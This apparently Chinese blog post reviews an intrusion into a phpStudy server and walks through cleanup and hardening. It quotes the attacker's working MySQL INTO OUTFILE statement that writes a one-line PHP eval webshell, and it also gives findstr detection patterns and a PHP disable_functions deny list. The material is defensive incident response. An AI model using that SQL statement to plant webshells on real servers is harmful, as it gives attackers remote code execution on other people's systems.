服务器入侵事件复盘:从发现到修复的完全指南

服务器入侵事件复盘:从发现到修复的完全指南

欢迎来到这场惊心动魄的入侵事件复盘。无论你是运维新手、开发者,还是不小心被黑的小白站长,这篇文档都将带你一步步回顾一次真实的 MySQL 写 shell 攻击,并学会如何彻底止血、清理后门、加固系统。别再慌张,跟着我做,服务器还能救回来。

事件背景:phpStudy 集成环境(Apache 2.4.23 + MySQL 5.5.53 + PHP 5.4.45)遭遇入侵,攻击者通过 MySQL INTO OUTFILE 写入一句话木马,并持续扫描后门。Apache 频繁崩溃,日志中留下大量恶意访问记录。

攻击时间线:魔鬼藏在日志里

1. 首次入侵(2026‑05‑19 00:07:36)

MySQL 日志显示,攻击者通过 root 连接数据库,执行了经典的写 shell 操作:

sql 复制代码
select '<?php @eval($_POST[x])?>' INTO OUTFILE 'C:\phpStudy\www\o.php'
  • 后果 :Web 目录下生成后门文件 o.php,攻击者可使用中国菜刀、蚁剑等工具直接执行任意 PHP 代码,获取服务器控制权。

2. 持续扫描与 Apache 崩溃(2026‑05‑19 00:10 ~ 00:12)

Apache 错误日志记录到:

log 复制代码
[Tue May 19 00:10:02.608377 2026] [:error] [client 175.30.110.165:62787] script 'C:/phpStudy/WWW/phpMyAdmin/view_creat.php' not found
[Tue May 19 00:11:55.558236] [mpm_winnt:crit] [pid 4028:tid 816] AH02538: Child: Parent process exited abruptly
[Tue May 19 00:12:21.807354] [mpm_winnt:crit] [pid 2776:tid 512] AH02538: Child: Parent process exited abruptly
  • 现象 :攻击者频繁请求不存在的 view_creat.php(可能是自动化扫描常见后门名称)。
  • 结果 :Apache 多次异常退出(Parent process exited abruptly),导致服务不稳定。

3. 攻击 IP 溯源

归属信息 内容
IP 地址 175.30.110.165
地理位置(ipip) 中国 吉林 长春 电信
可能性质 国内肉鸡 / 代理 / 真实攻击者

注意:IP 归属地仅作参考,不可直接锁定真实身份。攻击者可使用跳板或代理。

影响评估:服务器已处于"裸奔"状态

  • 后门确认C:\phpStudy\www\o.php 存在且可被远程访问。
  • 权限泄露:MySQL root 密码可能已被窃取(弱密码或空密码)。
  • 配置缺陷secure-file-priv 未配置,导致任意目录可写。
  • 版本过旧:MySQL 5.5.53、Apache 2.4.23、PHP 5.4.45 均停止安全更新,漏洞众多。
  • 持久化风险:攻击者可能已植入其他后门、计划任务或系统用户。

修复步骤:分秒必争,手把手教你清理

第一步:切断网络与进程(立即执行)

  1. 停止 Apache 和 MySQL 服务(你已经做了)
  2. 拔掉网线或在防火墙禁用外网访问(如云服务器安全组全部拒绝)
  3. 结束所有残留的 httpd.exe 和 mysqld.exe 进程
cmd 复制代码
taskkill /F /IM httpd.exe
taskkill /F /IM mysqld.exe

第二步:删除已知木马 + 全盘扫描

  • 删除 C:\phpStudy\www\o.php
  • 删除整个 C:\phpStudy\WWW\phpMyAdmin 目录(如果不需要远程管理)
  • 使用 D 盾河马查杀 扫描整个 WWW 目录,清除所有 webshell

手动查找可疑文件命令 (在 WWW 目录下执行):

cmd 复制代码
findstr /s /i /m "eval.*$_POST" *.php
findstr /s /i /m "base64_decode" *.php

第三步:修复 MySQL 配置,禁止再次写 shell

编辑 C:\phpStudy\MySQL\my.ini,在 [mysqld] 下添加:

ini 复制代码
secure-file-priv = NULL

然后修改 root 密码(启动 MySQL 后执行):

sql 复制代码
ALTER USER 'root'@'localhost' IDENTIFIED BY '你的新强密码@2026';

删除多余用户:

sql 复制代码
DELETE FROM mysql.user WHERE User='';
FLUSH PRIVILEGES;

第四步:修复 Apache 频繁崩溃

  1. 删除残留的 pid 文件:C:\phpStudy\Apache\logs\httpd.pid

  2. 测试配置语法:

    cmd 复制代码
    cd C:\phpStudy\Apache\bin
    httpd -t
  3. 检查 httpd.conf 中是否有恶意 LoadModule 或 DocumentRoot 被篡改。

  4. 临时封禁攻击 IP(在 httpd.conf 中加入):

    apache 复制代码
    <RequireAll>
        Require all granted
        Require not ip 175.30.110.165
    </RequireAll>

第五步:检查系统级后门

检查项 操作
计划任务 taskschd.msc 中查找名称含 update、system 等可疑任务
启动项 msconfig → 启动 → 任务管理器,检查不明程序
用户账户 lusrmgr.msc 看是否新增未知管理员
服务 services.msc 检查非标准服务

第六步:终极方案 -- 重装环境(强烈推荐)

由于你的环境版本过低且已被深度渗透,手动清理无法保证 100% 干净。请按以下步骤彻底重置

  1. 备份你自己的网站源码(不要打包 phpStudy 自带文件)
  2. 导出数据库 (用 mysqldump 或 phpMyAdmin 导出 SQL)
  3. 卸载 phpStudy,删除整个 C:\phpStudy 目录
  4. 安装新版 PHP 集成环境 :推荐 小皮面板 (Xp.cn) 或 phpStudy 最新版(PHP 7.4+ / MySQL 5.7+)
  5. 导入源码和数据库,修改配置文件中的数据库密码
  6. 应用安全加固
    • 设置 secure-file-priv = NULL
    • 禁用危险函数:disable_functions = exec,system,passthru,shell_exec,eval
    • 修改 phpMyAdmin 路径为复杂目录名,并设置强密码

加固建议:让服务器从此百毒不侵

1. MySQL 安全基线

ini 复制代码
secure-file-priv = NULL   # 禁止任意文件写入
max_allowed_packet = 16M
skip-grant-tables = OFF   # 绝对不能开启

2. PHP 安全配置

ini 复制代码
disable_functions = exec,system,passthru,shell_exec,proc_open,curl_exec,eval
open_basedir = "C:/phpStudy/WWW/;C:/tmp/"   # 限制 PHP 访问目录
expose_php = Off
allow_url_include = Off

3. Apache 安全加固

  • 隐藏版本号:ServerTokens ProdServerSignature Off

  • 禁用目录列表:Options -Indexes

  • 限制上传目录的 PHP 执行权限:

    apache 复制代码
    <Directory "C:/phpStudy/WWW/uploads">
        php_flag engine off
    </Directory>

4. 日常监控

  • 定期检查日志中可疑的 INTO OUTFILEeval( 关键词。
  • 使用文件完整性监控工具(如 Tripwire)。
  • 设置阿里云/腾讯云安全组,只开放必要端口(80,443,3306 只允许内网)。

总结:别哭,站起来继续战斗

入侵不可怕,可怕的是不知道入侵后该做什么。 通过这次事件,你已经学会了:

  • 如何解读 MySQL 和 Apache 日志中的攻击痕迹。
  • 如何找到并删除一句话木马。
  • 如何加固 MySQL 禁止写 shell。
  • 如何排查系统级后门并重装干净环境。

最后赠送一句忠告:永远不要在生产环境使用 phpStudy 2016 或更早的版本。它们就像没有锁的保险柜,谁都能打开。现在就升级到受支持的环境,并定期备份!

推荐阅读


相关推荐
浮尘笔记3 小时前
Java Snowy框架CI/CD云效自动化部署流程
java·运维·服务器·阿里云·ci/cd·自动化
测试修炼手册10 小时前
[测试工具] 用 Codex 做测试实战:从需求分析到自动化用例落地
运维·自动化·需求分析
米高梅狮子10 小时前
03.网络类服务实践
linux·运维·服务器·网络·kubernetes·centos·openstack
June`10 小时前
网络编程时内核究竟做了什么???
linux·服务器·网络
原来是猿10 小时前
腾讯云服务器端口开放完全指南
服务器·网络·腾讯云
你的保护色11 小时前
【无标题】
java·服务器·网络
Elnaij11 小时前
Linux系统与系统编程(9)——自设计shell与基础IO
linux·服务器
IpdataCloud11 小时前
稳定的企业级IP数据接口怎么选?可用性指标+离线库高可用方案
运维·网络·tcp/ip
WebGIS开发11 小时前
地信职业百科②:GIS运维
运维·gis·就业·转行